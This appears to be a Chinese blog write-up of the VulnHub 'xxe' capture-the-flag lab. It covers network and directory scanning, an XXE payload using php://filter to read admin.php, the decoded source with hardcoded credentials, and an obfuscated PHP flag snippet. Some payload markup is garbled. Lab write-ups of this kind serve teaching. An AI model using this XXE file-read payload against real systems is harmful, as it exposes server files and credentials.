• vulnhub-xxe lab: 1

    ifconfig

    nmap 192.168.61.0/24

    找到192.168.61.145

     目录扫描（御剑）

    192.168.61.145/xxe

    192.168.61.145/admin.php

    无法访问，但是robots.txt里面写的应该不会是无效网站，所以可能是被拒绝访问了

     抓xxe的包

    可以发现是用xml写的，试一下有没有漏洞

    这里用php://filter而不用 file:// 是因为php://filter可以直接跟相对路径，而 file:// 要跟绝对路径

    在192.168.61.145这个页面下，xxe和 admin.php是知道的，但是绝对路径不知道

    1. "1.0" encoding="UTF-8"?>
    2.         ANY [
    3.                 test SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
    4.         ]>
    5. <root><name>&test;name><password>1password>root>

     解码

    1. <?php
    2.    session_start();
    3. ?>
    4.  
    5.  
    6. <html lang = "en">
    7.    
    8.    <head>
    9.       <title>admin</title>
    10.       <link href = "css/bootstrap.min.css" rel = "stylesheet">
    11.       
    12.       <style>
    13.          body {
    14.             padding-top: 40px;
    15.             padding-bottom: 40px;
    16.             background-color: #ADABAB;
    17.          }
    18.          
    19.          .form-signin {
    20.             max-width: 330px;
    21.             padding: 15px;
    22.             margin: 0 auto;
    23.             color: #017572;
    24.          }
    25.          
    26.          .form-signin .form-signin-heading,
    27.          .form-signin .checkbox {
    28.             margin-bottom: 10px;
    29.          }
    30.          
    31.          .form-signin .checkbox {
    32.             font-weight: normal;
    33.          }
    34.          
    35.          .form-signin .form-control {
    36.             position: relative;
    37.             height: auto;
    38.             -webkit-box-sizing: border-box;
    39.             -moz-box-sizing: border-box;
    40.             box-sizing: border-box;
    41.             padding: 10px;
    42.             font-size: 16px;
    43.          }
    44.          
    45.          .form-signin .form-control:focus {
    46.             z-index: 2;
    47.          }
    48.          
    49.          .form-signin input[type="email"] {
    50.             margin-bottom: -1px;
    51.             border-bottom-right-radius: 0;
    52.             border-bottom-left-radius: 0;
    53.             border-color:#017572;
    54.          }
    55.          
    56.          .form-signin input[type="password"] {
    57.             margin-bottom: 10px;
    58.             border-top-left-radius: 0;
    59.             border-top-right-radius: 0;
    60.             border-color:#017572;
    61.          }
    62.          
    63.          h2{
    64.             text-align: center;
    65.             color: #017572;
    66.          }
    67.       </style>
    68.       
    69.    </head>
    70. 	
    71.    <body>
    72.       
    73.       <h2>Enter Username and Password</h2> 
    74.       <div class = "container form-signin">
    75.          
    76.          <?php
    77.             $msg = '';
    78.             if (isset($_POST['login']) && !empty($_POST['username']) 
    79.                && !empty($_POST['password'])) {
    80. 				
    81.                if ($_POST['username'] == 'administhebest' && 
    82.                   md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
    83.                   $_SESSION['valid'] = true;
    84.                   $_SESSION['timeout'] = time();
    85.                   $_SESSION['username'] = 'administhebest';
    86.                   
    87.                 echo "You have entered valid use name and password 
      "      ;
    88. 		$flag = "Here is the Flag";
    89. 		echo $flag;
    90.                }else {
    91.                   $msg = 'Maybe Later';
    92.                }
    93.             }
    94.          ?>
    95.       </div> <!-- W00t/W00t -->
    96.       
    97.       <div class = "container">
    98.       
    99.          <form class = "form-signin" role = "form" 
    100.             action = "
    101.             ?>" method = "post">
    102.             <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
    103.             <input type = "text" class = "form-control" 
    104.                name = "username" 
    105.                required autofocus></br>
    106.             <input type = "password" class = "form-control"
    107.                name = "password" required>
    108.             <button class = "btn btn-lg btn-primary btn-block" type = "submit" 
    109.                name = "login">Login</button>
    110.          </form>
    111. 			
    112.          Click here to clean <a href = "adminlog.php" tite = "Logout">Session.
    113.          
    114.       </div> 
    115.       
    116.    </body>
    117. </html>

    账号密码都出来了 

     

    administhebest

    admin@123

    错了，试了几遍都没用，看来要找别的路

    继续看代码，可以看到这个，这也是账号密码正确后会进行的东西 

     查看 flagmeout.php 的源代码

     base64解密

    2. $flag = "";
    3. echo $flag;
    4. ?>

    目测base32解密

    再解密

    还有 

     

    $_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$À=+_;$Á=$Â=$Ã=$Ä=$Æ=$È=$É=$Ê=$Ë=++$Á[];$Â++;$Ã++;$Ã++;$Ä++;$Ä++;$Ä++;$Æ++;$Æ++;$Æ++;$Æ++;$È++;$È++;$È++;$È++;$È++;$É++;$É++;$É++;$É++;$É++;$É++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$__('$_="'.$___.$Á.$Â.$Ã.$___.$Á.$À.$Á.$___.$Á.$À.$È.$___.$Á.$À.$Ã.$___.$Á.$Â.$Ã.$___.$Á.$Â.$À.$___.$Á.$É.$Ã.$___.$Á.$É.$À.$___.$Á.$É.$À.$___.$Á.$Ä.$Æ.$___.$Á.$Ã.$É.$___.$Á.$Æ.$Á.$___.$Á.$È.$Ã.$___.$Á.$Ã.$É.$___.$Á.$È.$Ã.$___.$Á.$Æ.$É.$___.$Á.$Ã.$É.$___.$Á.$Ä.$Æ.$___.$Á.$Ä.$Á.$___.$Á.$È.$Ã.$___.$Á.$É.$Á.$___.$Á.$É.$Æ.'"');$__($_);

    emm，看着有点像php，卡了，忘记可以运行代码了

     不知道为什么会错，按理说这里应该就结束了

  • 相关阅读:
    【无标题】
    大数据分析与可视化课题
    C语言：动态内存（一篇拿捏动态内存！）
    java计算机毕业设计高校学生体温管理系统源码+mysql数据库+系统+lw文档+部署
    QT中表格控件使用
    Settings属性读写
    json数据刨根究底
    【leetcode】【剑指offer Ⅱ】066. 单词之和
    信钰证券：6G概念强势拉升，通宇通讯、世嘉科技涨停，硕贝德等走高
    .NET下数据库的负载均衡(有趣实验)(续)
  • 原文地址：https://blog.csdn.net/m0_62094846/article/details/126910484